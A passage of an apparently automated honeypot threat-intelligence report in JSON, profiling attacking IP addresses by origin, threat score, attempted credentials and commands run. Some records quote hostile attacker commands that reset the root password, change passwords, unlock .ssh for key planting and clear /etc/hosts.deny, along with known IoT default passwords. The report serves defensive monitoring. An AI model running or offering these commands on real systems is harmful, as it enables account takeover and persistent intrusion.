        "exchange",
        "inter123",
        "jx@123",
        "love06",
        "rhbcnbyf",
        "ruijie"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BGApQz7YPHAt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4668,
      "as_org": "LG CNS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:24:01.062000+00:00",
        "last_seen_30d": "2026-04-01T12:33:16.369000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 34
      }
    },
    "66.113.164.253": {
      "attack_count": 90,
      "first_seen": "2026-04-30T19:21:53.473Z",
      "last_seen": "2026-04-30T19:25:43.097Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 18447,
      "as_org": "Ntirety, Inc.",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:21:53.473000+00:00",
        "last_seen_30d": "2026-04-30T19:26:50.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 90,
        "Suricata": 47
      }
    },
    "120.48.112.118": {
      "attack_count": 81,
      "first_seen": "2026-04-17T08:05:48.748Z",
      "last_seen": "2026-04-17T08:38:57.421Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "github-runner",
        "marko"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Qazwsx112233#",
        "Qwertyuiop!@#",
        "Qwertyuiop123@",
        "github-runner",
        "marko123",
        "p@ssw0rd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"p@ssw0rd123\\nQeZYAp8aT9wa\\nQeZYAp8aT9wa\\n\"|passwd",
        "echo -e \"p@ssw0rd123\\nQeZYAp8aT9wa\\nQeZYAp8aT9wa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:05:48.748000+00:00",
        "last_seen_30d": "2026-04-17T08:40:05.942000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 81,
        "Suricata": 20
      }
    },
    "34.14.17.198": {
      "attack_count": 68,
      "first_seen": "2026-04-27T04:34:20.054Z",
      "last_seen": "2026-04-27T04:35:22.468Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7574",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T04:34:20.054000+00:00",
        "last_seen_30d": "2026-04-27T04:36:29.611000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "182.116.123.15": {
      "attack_count": 50,
      "first_seen": "2026-04-27T03:20:10.217Z",
      "last_seen": "2026-04-27T03:25:34.637Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:20:10.217000+00:00",
        "last_seen_30d": "2026-04-27T03:26:39.298000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.74.21.54": {
      "attack_count": 44,
      "first_seen": "2026-04-06T19:13:56.253Z",
      "last_seen": "2026-04-06T19:18:41.835Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T19:13:56.253000+00:00",
        "last_seen_30d": "2026-04-06T19:19:46.018000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "115.61.120.141": {
      "attack_count": 42,
      "first_seen": "2026-04-01T23:58:04.867Z",
      "last_seen": "2026-04-02T00:02:37.387Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:58:04.867000+00:00",
        "last_seen_30d": "2026-04-02T00:03:45.205000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "119.166.41.200": {
      "attack_count": 42,
      "first_seen": "2026-04-18T23:53:11.387Z",
      "last_seen": "2026-04-18T23:57:43.850Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T23:53:11.387000+00:00",
        "last_seen_30d": "2026-04-18T23:58:50.782000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "167.172.185.104": {
      "attack_count": 41,
      "first_seen": "2026-04-27T23:24:29.101Z",
      "last_seen": "2026-04-27T23:25:45.279Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T23:24:29.101000+00:00",
        "last_seen_30d": "2026-04-29T09:16:41.180000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 39,
        "Dionaea": 2
      }
    },
    "139.59.21.7": {
      "attack_count": 35,
      "first_seen": "2026-04-10T13:40:43.110Z",
      "last_seen": "2026-04-11T13:32:02.946Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2026Kelltech",
        "2025#kelltech",
        "@1234kelltech",
        "Kelltech2022",
        "kelltech#2025",
        "kelltech$123",
        "kelltech@2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:40:43.110000+00:00",
        "last_seen_30d": "2026-04-11T13:33:07.085000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "42.234.213.230": {
      "attack_count": 34,
      "first_seen": "2026-04-12T08:12:02.306Z",
      "last_seen": "2026-04-12T08:15:42.824Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T08:12:02.306000+00:00",
        "last_seen_30d": "2026-04-12T08:16:44.668000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "66.154.119.88": {
      "attack_count": 25,
      "first_seen": "2026-04-05T12:27:34.567Z",
      "last_seen": "2026-04-05T13:33:04.354Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "pi"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS",
        "123456",
        "raspberry"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 7393,
      "as_org": "CYBERCON, INC.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T12:27:34.567000+00:00",
        "last_seen_30d": "2026-04-05T13:34:09.341000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "87.76.244.42": {
      "attack_count": 24,
      "first_seen": "2026-04-28T01:08:39.997Z",
      "last_seen": "2026-04-28T01:28:48.223Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kramatorsk",
      "asn": 9205,
      "as_org": "SATELIT SERVIS Ltd",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:08:39.997000+00:00",
        "last_seen_30d": "2026-04-28T01:29:55.327000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "223.123.38.38": {
      "attack_count": 22,
      "first_seen": "2026-04-02T09:32:59.666Z",
      "last_seen": "2026-04-02T09:35:22.163Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:32:59.666000+00:00",
        "last_seen_30d": "2026-04-02T09:36:23.842000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "41.173.34.128": {
      "attack_count": 20,
      "first_seen": "2026-04-27T20:42:28.555Z",
      "last_seen": "2026-04-27T20:54:36.005Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Rwanda",
      "country_code": "RW",
      "city": "Kigali",
      "asn": 37006,
      "as_org": "Liquid Telecommunication Rwanda",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:42:28.555000+00:00",
        "last_seen_30d": "2026-04-27T20:55:45.275000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 14
      }
    },
    "64.62.156.172": {
      "attack_count": 18,
      "first_seen": "2026-04-05T11:54:30.507Z",
      "last_seen": "2026-04-10T09:30:44.374Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T11:05:34+00:00",
        "last_seen_30d": "2026-04-30T15:10:40.982000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196,
        "Honeytrap": 83,
        "Cowrie": 18,
        "H0neytr4p": 8,
        "ConPot": 4,
        "ElasticPot": 2,
        "Ipphoney": 2,
        "Dionaea": 1
      }
    },
    "137.97.111.46": {
      "attack_count": 17,
      "first_seen": "2026-04-06T07:09:56.042Z",
      "last_seen": "2026-04-06T07:10:14.091Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "support",
        "telnet",
        "vizxv",
        "xc3511"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T07:09:56.042000+00:00",
        "last_seen_30d": "2026-04-06T07:11:24.280000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 5
      }
    },
    "94.102.49.125": {
      "attack_count": 15,
      "first_seen": "2026-04-21T16:10:51.918Z",
      "last_seen": "2026-04-25T12:54:39.359Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "Admin",
        "admin",
        "eeeeeeeeeeeeeee"
      ],
      "passwords_attempted": [
        "Admin",
        "admin",
        "eeee"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:52:31.337000+00:00",
        "last_seen_30d": "2026-04-25T12:55:47.279000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "179.217.104.228": {
      "attack_count": 14,
      "first_seen": "2026-04-26T11:57:36.902Z",
      "last_seen": "2026-04-26T12:05:45.515Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T11:57:36.902000+00:00",
        "last_seen_30d": "2026-04-26T12:10:23.020000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "2.57.121.86": {
      "attack_count": 12,
      "first_seen": "2026-04-02T07:03:58.838Z",
      "last_seen": "2026-04-04T19:04:18.349Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T07:03:58.838000+00:00",
        "last_seen_30d": "2026-04-04T19:05:25.146000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "208.115.214.194": {
      "attack_count": 12,
      "first_seen": "2026-04-21T01:54:27.417Z",
      "last_seen": "2026-04-21T01:54:31.135Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T01:54:27.417000+00:00",
        "last_seen_30d": "2026-04-21T01:55:36.637000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "66.132.172.100": {
      "attack_count": 12,
      "first_seen": "2026-04-22T09:32:40.576Z",
      "last_seen": "2026-04-26T12:34:45.793Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 28,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T01:01:50.745000+00:00",
        "last_seen_30d": "2026-04-30T15:40:31.594000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 43,
        "Cowrie": 12,
        "Miniprint": 7,
        "ElasticPot": 2
      }
    },
    "20.118.202.126": {
      "attack_count": 11,
      "first_seen": "2026-04-03T19:19:18.636Z",
      "last_seen": "2026-04-19T13:32:34.632Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:39:31.428000+00:00",
        "last_seen_30d": "2026-04-24T15:15:01.453000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 11,
        "Honeytrap": 10,
        "Dionaea": 2
      }
    },
    "47.251.49.239": {
      "attack_count": 10,
      "first_seen": "2026-04-17T07:52:56.082Z",
      "last_seen": "2026-04-17T07:53:35.923Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
